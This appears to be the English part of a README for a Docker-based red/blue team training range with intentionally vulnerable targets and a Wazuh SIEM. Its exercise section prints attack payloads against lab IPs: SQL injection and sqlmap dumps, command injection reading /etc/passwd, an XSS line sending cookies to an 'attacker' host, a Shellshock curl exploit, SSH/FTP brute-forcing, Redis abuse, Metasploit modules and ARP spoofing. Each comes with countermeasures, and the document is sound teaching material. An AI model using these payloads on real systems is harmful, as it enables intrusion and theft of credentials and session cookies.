The Wazuh stack has three main components. Agents installed on Defender, Weak SSH and Vuln Webapp collect system logs (syslog, auth.log, app logs) and send them to the Manager (port 1514). The Manager analyzes events and generates alerts with severity levels 0-15. Filebeat forwards alerts to the Indexer (OpenSearch, port 9200), which indexes them for fast searches. The Dashboard (port 5601) provides the web UI for viewing alerts, charts and real-time correlations. The siem profile activates these components: `docker compose --profile siem up -d`.

### 2. Container Map

| Container        | IP            | Role                      | Access                                 |
|------------------|---------------|---------------------------|----------------------------------------|
| cl-attacker      | 172.28.0.10   | Kali Linux (Red Team)     | `docker exec -it cl-attacker bash`     |
| cl-dvwa          | 172.28.0.20   | Target โ€“ DVWA             | http://localhost:8081 (admin / password)|
| cl-juiceshop     | 172.28.0.30   | Target โ€“ OWASP Juice Shop | http://localhost:8082                  |
| cl-shellshock    | 172.28.0.40   | Target โ€“ CVE-2014-6271    | http://localhost:8083/cgi-bin/vulnerable |
| cl-weakssh       | 172.28.0.50   | Target โ€“ Weak SSH         | `ssh -p 2222 student@localhost`        |
| cl-webapp        | 172.28.0.60   | Target โ€“ Nginx (baseline) | http://localhost:8084                  |
| cl-vulnftp       | 172.28.0.70   | Target โ€“ Vulnerable FTP   | `ftp localhost 2121` (anonymous)       |
| cl-vulnredis     | 172.28.0.80   | Target โ€“ Exposed Redis    | `redis-cli -h localhost -p 6379`       |
| cl-vulnweb       | 172.28.0.90   | Target โ€“ Flask vuln app   | http://localhost:8085                  |
| cl-defender      | 172.28.0.100  | Blue Team (IDS, sniffer)  | `docker exec -it cl-defender bash`     |
| cl-wazuh-dashboard | 172.28.0.200 | SIEM โ€“ Dashboard (web UI) | http://localhost:5601 |
| cl-wazuh-manager | 172.28.0.201  | SIEM โ€“ Manager (analysis) | API: http://localhost:55000 |
| cl-wazuh-indexer | 172.28.0.202  | SIEM โ€“ Indexer (OpenSearch)| http://localhost:9200 |

### 3. Prerequisites

- Docker Engine >= 24.0
- Docker Compose V2 (`docker compose` plugin)
- At least 8 GB RAM (16 GB recommended with SIEM)
- ~10 GB disk space for images

### 4. Quick Start

```bash
git clone https://github.com//docker-cyberrange.git
cd docker-cyberrange
docker compose build && docker compose up -d
docker exec -it cl-attacker bash    # Red Team
docker exec -it cl-defender bash    # Blue Team

# With Wazuh SIEM
docker compose --profile siem build
docker compose --profile siem up -d
docker compose --profile siem down -v  # Full reset
```

### 5. Running the Exercises

#### 5.1 Red Team (Attacker)

```bash
docker exec -it cl-attacker bash
cd /root/exercises && chmod +x EX01_network_recon.sh && ./EX01_network_recon.sh
```

#### 5.2 Blue Team (Defender)

```bash
docker exec -it cl-defender bash
cd /root/exercises && chmod +x EX_BLUE_01_traffic_capture.sh && ./EX_BLUE_01_traffic_capture.sh
```

#### 5.3 Coordinated Red/Blue Usage

For a complete learning experience, run Red and Blue exercises in parallel: one terminal attacks while the other monitors. For example, launch `EX07_ssh_bruteforce.sh` from the attacker while simultaneously observing traffic with `EX_BLUE_01_traffic_capture.sh` from the defender. With the SIEM profile active, Wazuh alerts will appear in real time on the dashboard.

### 6. Red Team Exercise Details

#### EX01 โ€” Network Reconnaissance

Network scanning to discover all active hosts and exposed services using ping sweep, full port scan and service fingerprinting.

```bash
nmap -sn 172.28.0.0/16
nmap -sV -sC -O -p- 172.28.0.0/16
nmap --script vuln 172.28.0.0/16
```

**Expected result:** discovery of all 8 targets with services and versions.
**Countermeasures:** firewall, port knocking, disable unnecessary services.

#### EX02 โ€” SQL Injection on DVWA

```bash
sqlmap -u "http://target/vuln.php?id=1" --dbs --dump
john --format=raw-md5 hashes.txt
```

**Expected result:** extraction of admin:password, gordonb:abc123.
**Countermeasures:** prepared statements, ORM, input validation.

#### EX03 โ€” Command Injection

```bash
; cat /etc/passwd
| cat /etc/passwd
&& cat /etc/passwd
```

**Countermeasures:** subprocess without shell=True, regex validation, least privilege.

#### EX04 โ€” XSS Attacks

```bash
alert(1)
new Image().src='http://attacker/steal?c='+document.cookie
```

**Countermeasures:** output encoding, CSP headers, HttpOnly cookies.

#### EX05 โ€” Directory Traversal

```bash
../../../etc/passwd
/proc/self/environ
```

**Countermeasures:** realpath() validation, chroot, file whitelist.

#### EX06 โ€” Shellshock (CVE-2014-6271)

```bash
curl -H "User-Agent: () { :; }; echo; /bin/cat /etc/passwd" http://172.28.0.40/cgi-bin/vulnerable
```

**Countermeasures:** patch bash, disable mod_cgi, WAF.

#### EX07 โ€” SSH Brute-force

```bash
hydra -L users.txt -P passwords.txt ssh://172.28.0.50
```

**Expected result:** student:password123, admin:admin, root:toor.
**Countermeasures:** fail2ban, SSH keys, disable root login.

#### EX08 โ€” FTP Exploitation

```bash
ftp anonymous@172.28.0.70
hydra -l ftpuser -P passwords.txt ftp://172.28.0.70
```

**Countermeasures:** disable anonymous, chroot, SFTP.

#### EX09 โ€” Redis Exploitation

```bash
redis-cli -h 172.28.0.80 INFO
KEYS *
GET session:admin
CONFIG SET dir /var/www/html
```

**Countermeasures:** requirepass, bind 127.0.0.1, rename-command.

#### EX10 โ€” SQLi on VulnWeb

```bash
admin'--
UNION SELECT sqlite_version()
```

**Countermeasures:** parameterized queries, ORM.

#### EX11 โ€” Metasploit

```bash
use auxiliary/scanner/ssh/ssh_login
use exploit/multi/http/apache_mod_cgi_bash_env_exec
```

**Countermeasures:** patch management, network segmentation, IDS.

#### EX12 โ€” ARP Spoofing

```bash
arpspoof -i eth0 -t 172.28.0.20 172.28.0.1
ettercap -T -M arp /172.28.0.20// /172.28.0.1//
```

**Countermeasures:** static ARP, DAI, 802.1X, TLS/SSH.

### 7. Blue Team Exercise Details

#### B1 โ€” Traffic Capture

```bash
tcpdump -i eth0 port 22 -w ssh_traffic.pcap
tshark -r capture.pcap -z conv,ip
```

**Patterns:** SYN scan, brute-force, SQLi payloads in HTTP.

#### B2 โ€” Suricata IDS

Custom rules for: SYN scan, SSH brute-force, Shellshock, SQLi, XSS, Command Injection, Redis, FTP anonymous, Directory Traversal.

```bash
suricata -i eth0 -S /etc/suricata/rules/cyberlab.rules
tail -f /var/log/suricata/fast.log
```

#### B3 โ€” Hardening

```bash
lynis audit system
iptables -A INPUT -p tcp --dport 22 -m limit --limit 3/min -j ACCEPT
```

**Checklist:** network segmentation, service updates, authentication policy, application patching.

#### B4 โ€” Wazuh SIEM

```bash
docker compose --profile siem up -d
./wazuh/deploy_agents.sh
curl http://172.28.0.202:9200/_cat/indices?v
curl http://172.28.0.202:9200/wazuh-alerts-*/_search?size=5
```

**Suricata vs Wazuh:** Suricata analyzes network traffic only (IDS/IPS). Wazuh as a SIEM also collects system logs, file integrity, package vulnerabilities, and can integrate Suricata alerts as an additional data source.

### 8โ€“10. Tools Reference

> The complete tool reference with usage examples and CLI arguments is in the Italian section above (sections 8โ€“10). The tool names, arguments and URLs are identical in both languages. For a standalone English reference, see **Guida_Tool_Cyber_Range_v3.docx** which contains separate IT and EN sections for all 32 tools.

### 11. Project Structure

```
docker-cyberrange/
โ”œโ”€โ”€ docker-compose.yml
โ”œโ”€โ”€ README.md
โ”œโ”€โ”€ LICENSE (MIT)
โ”œโ”€โ”€ .gitignore
โ”œโ”€โ”€ attacker/        # Kali Linux + 12 Red Team exercises
โ”œโ”€โ”€ defender/        # Ubuntu + 4 Blue Team exercises
โ”œโ”€โ”€ targets/         # 6 vulnerable services + 1 baseline
โ”œโ”€โ”€ wazuh/           # SIEM stack (indexer, manager, dashboard, config)
โ”œโ”€โ”€ docs/            # SVG diagrams (network-topology, wazuh-architecture)
โ”œโ”€โ”€ Guida_Tool_Cyber_Range_v3.docx
โ””โ”€โ”€ Istruzioni_Cyber_Range_v8.docx
```

### 12. Resources

- OWASP Testing Guide: https://owasp.org/www-project-web-security-testing-guide
- HackTricks: https://book.hacktricks.wiki
- Exploit Database: https://www.exploit-db.com
- Kali Linux Docs: https://www.kali.org/docs
- Wazuh Documentation: https://documentation.wazuh.com

### 13. Disclaimer

Target images are **intentionally vulnerable**: use only in an isolated lab. Unauthorized use against third-party systems is a criminal offence. Operate exclusively on the isolated network 172.28.0.0/16. **Do not expose containers to the Internet.**

---

## License / Licenza

This project is released under the [MIT License](LICENSE).
Questo progetto e' rilasciato sotto la [Licenza MIT](LICENSE).